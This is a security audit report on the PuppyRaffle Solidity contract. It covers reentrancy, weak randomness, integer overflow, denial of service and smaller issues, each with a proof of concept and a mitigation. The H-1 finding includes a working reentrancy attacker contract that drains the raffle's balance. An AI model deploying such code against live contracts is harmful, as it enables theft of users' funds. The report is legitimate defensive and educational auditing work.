Puppy Raffle Audit Report

Version 1.0

Luo Yingjie

October 8, 2024

Puppy Raffle Audit Report

Luo Yingjie

October 8, 2024

Prepared by: Luo Yingjie Lead Auditors:

- Luo Yingjie

Table of Contents

- Medium
  - [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, increasing gas costs for future entrants.
  - [M-2] Unsafe cast of `PuppyRaffle::fee` lose fees
  - [M-3] Smart contract wallets raffle winners without a `receive`/`fallback` function will block the start of a new contest.
- Low
  - [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.
- Gas
  - [G-1] Unchanged state variables should be declared constant or immutable.
  - [G-2] Storage variables in a loop should be cached
- Informational/Non-critical
  - [I-1] Solidity pragma should be specific, not wide
  - [I-2] Using an outdated version of Solidity is not recommended.
  - [I-3] Missing checks for `address(0)` when assigning values to address state variables
  - [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not best practice.
  - [I-5] Use of "Magic" numbers is discouraged

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Luo Yingjie team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Add some notes of how the audit went, types of issues found, etc.

We spend X hours with Y auditors using Z tools, etc.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	5
Gas Optimizations	2
Total	14

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows draining the contract balance

Description:

The `PuppyRaffle::refund` function does not follow CEI and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
```

```
9               "PuppyRaffle: Player already refunded, or is not active"
10          );
11
12  @>      payable(msg.sender).sendValue(entranceFee);
13
14  @>      players[playerIndex] = address(0);
15          emit RaffleRefunded(playerAddress);
16      }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact:

All fees paid by raffle entrants could be stolen by the malicious player.

Proof of Concept:

1. User enter the raffle
2. Attacker sets up a contract with a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function
3. Attacker enters the raffle
4. Attacker calls the `PuppyRaffle::refund` function from the contract, draining the contract balance

Proof of Code

Code

Place the following test into `PuppyRaffleTest.t.sol`:

```
1   function test_reentrancyRefund() public {
2           address[] memory players = new address[](4);
3           players[0] = playerOne;
4           players[1] = playerTwo;
5           players[2] = playerThree;
6           players[3] = playerFour;
7           puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9           ReentrancyAttacker attacker = new ReentrancyAttacker(
                puppyRaffle);
10          address attackUser = makeAddr("attackUser");
11          vm.deal(attackUser, entranceFee);
12
13          uint256 startingAttackContractBalance = address(attacker).
                balance;
14          uint256 startingPuppyRaffleBalance = address(puppyRaffle).
                balance;
```

```
15
16          vm.prank(attackUser);
17          attacker.attack{value: entranceFee}();
18
19          console.log(
20              "Starting attack contract balance: ",
21              startingAttackContractBalance
22          );
23          console.log(
24              "Starting PuppyRaffle balance: ",
25              startingPuppyRaffleBalance
26          );
27
28          console.log(
29              "Ending attack contract balance: ",
30              address(attacker).balance
31          );
32          console.log(
33              "Ending PuppyRaffle balance: ",
34              address(puppyRaffle).balance
35          );
36      }
```

And this contact as well:

```
1  contract ReentrancyAttacker {
2      PuppyRaffle puppyRaffle;
3      uint256 entranceFee;
4      uint256 attackerIndex;
5
6      constructor(PuppyRaffle _puppyRaffle) {
7          puppyRaffle = _puppyRaffle;
8          entranceFee = puppyRaffle.entranceFee();
9      }
10
11     function attack() external payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15
16         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
               ;
17         puppyRaffle.refund(attackerIndex);
18     }
19
20     receive() external payable {
21         if (address(puppyRaffle).balance >= entranceFee) {
22             puppyRaffle.refund(attackerIndex);
23         }
24     }
25 }
```

Recommended Mitigation:

To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1
2  function refund(uint256 playerIndex) public {
3          address playerAddress = players[playerIndex];
4          require(
5              playerAddress == msg.sender,
6              "PuppyRaffle: Only the player can refund"
7          );
8          require(
9              playerAddress != address(0),
10             "PuppyRaffle: Player already refunded, or is not active"
11         );
12
13 +       players[playerIndex] = address(0);
14 +       emit RaffleRefunded(playerAddress);
15
16         payable(msg.sender).sendValue(entranceFee);
17
18 -       players[playerIndex] = address(0);
19 -       emit RaffleRefunded(playerAddress);
20     }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows user to influence or predict the winner and influence or predict the winning puppy.

Description:

Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact:

Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffle.

Proof of Concept:

1. Validators can know ahead of time the `block.difficulty` and `block.timestamp` and use that to predict when/how to participate. See the solidity blog on prevrandao.. `block.difficulty` was recently replaced with prevrandao.

2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation:

Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description:

In Solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
1     uint64 myVar = type(uint64).max;
2     // 18446744073709551615
3     myVar = myVar + 1;
4     // myVar would be 0
```

Impact:

In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. Let's say we have 100 players enter the raffle.
2. Then conclude the raffle and select a winner.
3. The `totalFees` should be `100 * entranceFee * 20 / 100`:

```
1     uint256 expectedTotalFees = (100 * entranceFee * 20) / 100;
2     // Expected total fees:  2000000000000000000
```

However, the actual `totalFees` will be:

```
1     uint64 actualTotalFees = puppyRaffle.totalFees();
2     // Actual total fees:  1553255926290448384
```

4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance ==
  uint256(totalFees), "PuppyRaffle: There are currently players active!
     ");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` statement will be impossible to hit.

Code

```
function testTotalFeesOverFlow() public {
        address[] memory players = new address[](100);
        for (uint160 i = 0; i < 100; i++) {
            players[i] = address(i);
        }

        puppyRaffle.enterRaffle{value: entranceFee * 100}(players);

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        uint256 expectedTotalFees = (100 * entranceFee * 20) / 100;

        puppyRaffle.selectWinner();

        uint64 actualTotalFees = puppyRaffle.totalFees();

        console.log("Expected total fees: ", expectedTotalFees);
        console.log("Actual total fees: ", uint256(actualTotalFees));

        assert(expectedTotalFees != uint256(actualTotalFees));
    }
```

Recommended Mitigation:

There are a few possible mitigation:

1. Use a newer version of Solidity, and a `uint256` instead of a `uint64` for `PuppyRaffle::totalFees`.
2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of Solidity, however, you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
-   require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, increasing gas costs for future entrants.

Description:

The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later on. Every additional address in the `players` array is an additional check the loop will have to make.

```
// @audit DoS attack
@>      for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
                );
            }
        }
```

Impact:

The gas cost for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::players` array very large, that no one else enters, guaranteeing themselves a win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be such:

- 1st 100 players: ~6252047 gas
- 2nd 100 players: ~18068137 gas

This more than 3x more expensive for the second set of 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`:

```
function test_denial_of_service() public {
        vm.txGasPrice(1);

```

```
4           uint256 playersNum = 100;
5           address[] memory players = new address[](playersNum);
6           for (uint256 i = 0; i < playersNum; i++) {
7               players[i] = address(uint160(i));
8           }
9
10          uint256 gasStart = gasleft();
11          puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
                players);
12          uint256 gasEnd = gasleft();
13
14          uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
15          console.log(
16              "Gas used for the first 100 players entering raffle: ",
17              gasUsedFirst
18          );
19
20          address[] memory playersTwo = new address[](playersNum);
21          for (uint256 i = 0; i < playersNum; i++) {
22              playersTwo[i] = address(uint160(i + playersNum));
23          }
24
25          uint256 gasStartTwo = gasleft();
26          puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
                playersTwo);
27          uint256 gasEndTwo = gasleft();
28
29          uint256 gasUsedSecond = (gasStartTwo - gasEndTwo) * tx.gasprice
                ;
30          console.log(
31              "Gas used for the second 100 players entering raffle: ",
32              gasUsedSecond
33          );
34
35          assert(gasUsedSecond > gasUsedFirst);
36      }
```

Recommended Mitigation:

There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered the raffle.

```
1  +    mapping(address => uint256) public addressToRaffleId;
2  +    uint256 pubic raffleId = 0;
3  .
```

```
.
.
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
            PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+           addressToRaffleId[newPlayers[i]] = raffleId;
        }

-        // Check for duplicates
+       // Check for duplicates only from the new players
+       for (uint256 i = 0; i < newPlayers.length; i++) {
+          require(addressToRaffleId[newPlayers[i]] != raffleId, "
    PuppyRaffle: Duplicate player");
+       }
-        for (uint256 i = 0; i < players.length; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle:
    Duplicate player");
-            }
-        }
        emit RaffleEnter(newPlayers);
    }
.
.
.
    function selectWinner() external {
+       raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
```

3. Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Unsafe cast of `PuppyRaffle::fee` lose fees

Description:

In `PuppyRaffle::selectWinner` there is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(
            block.timestamp >= raffleStartTime + raffleDuration,
            "PuppyRaffle: Raffle not over"
        );
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex = uint256(
```

```
8               keccak256(
9                   abi.encodePacked(msg.sender, block.timestamp, block.
                        difficulty)
10              )
11          ) % players.length;
12          address winner = players[winnerIndex];
13          uint256 totalAmountCollected = players.length * entranceFee;
14          uint256 prizePool = (totalAmountCollected * 80) / 100;
15  @>      uint256 fee = (totalAmountCollected * 20) / 100;
16          .
17          .
18          .
19      }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~`18.44` ETH. Meaning if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact:

This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18ETH worth of fees collected.
2. The line that casts the `fee` as a `uint64` hits.
3. `totalFee` is incorrectly updated with a lower amount.

You can replicate this in foundry's chisel by running the following:

```
1       uint256 max = type(uint64).max
2       uint256 fee = max + 1
3       uint64(fee)
4       // prints 0
```

Recommended Mitigation:

Set `PuppyRaffle::totalFee` to a `uint256` instead of a `uint64`, and remove the casting. There is a comment which says:

```
1  // We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
1  -    uint64 public totalFees = 0;
2  +    uint256 public totalFees = 0;
3  .
4  .
5  .
6       function selectWinner() external {
```

```
7           require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
8           require(players.length >= 4, "PuppyRaffle: Need at least 4
               players");
9           uint256 winnerIndex =
10              uint256(keccak256(abi.encodePacked(msg.sender, block.
                   timestamp, block.difficulty))) % players.length;
11          address winner = players[winnerIndex];
12          uint256 totalAmountCollected = players.length * entranceFee;
13          uint256 prizePool = (totalAmountCollected * 80) / 100;
14          uint256 fee = (totalAmountCollected * 20) / 100;
15  -       totalFees = totalFees + uint64(fee);
16  +       totalFees = totalFees + fee;
17  .
18  .
19  .
20      }
```

[M-3] Smart contract wallets raffle winners without a `receive/fallback` function will block the start of a new contest.

Description:

The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact:

The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the raffle without a `receive/fallback` function.
2. The lottery ends
3. The `PuppyRaffle::selectWinner` function is called but couldn't work, even though the lottery is over.

Recommended Mitigation:

There are a few options to mitigate this issue:

1. Do not allow smart contract wallet entrants(not recommended).

2. Create a mapping of addresses => payout so winners can pull their funds out with a new `claimPrize` function themselves, putting the owner in charge of the claim of their prize(recommended).

> Pull over Push

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description:

If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
    /// @return the index of the player in the array, if they are not
        active, it returns 0
function getActivePlayerIndex(
        address player
    ) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact:

A player at index 0 to incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, who is the first entrant.
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User think they have not entered correctly due to the function documentation.

Recommended Mitigation:

The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

Reading from storage is more expensive than reading from a constant or immutable variable.

[G-2] Storage variables in a loop should be cached

Every time you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+   uint256 playersLength = players.length;
-   for (uint256 i = 0; i < players.length - 1; i++) {
+   for (uint256 i = 0; i < playersLength - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
+           for (uint256 j = i + 1; j < playersLength; j++) {
                require(
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
                );
            }
        }
```

Informational/Non-critical

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2] Using an outdated version of Solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 74

```
1           feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 232

```
1           feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not best practice.

It's best to keep code clean and follow CEI.

```
1 -         (bool success, ) = winner.call{value: prizePool}("");
2 -         require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
3           _safeMint(winner, tokenId);
4 +          (bool success, ) = winner.call{value: prizePool}("");
5 +         require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
```

[I-5] Use of "Magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
        uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
        uint256 public constant FEE_PERCENTAGE = 20;
        uint256 public constant POOL_PRECISION = 100;
```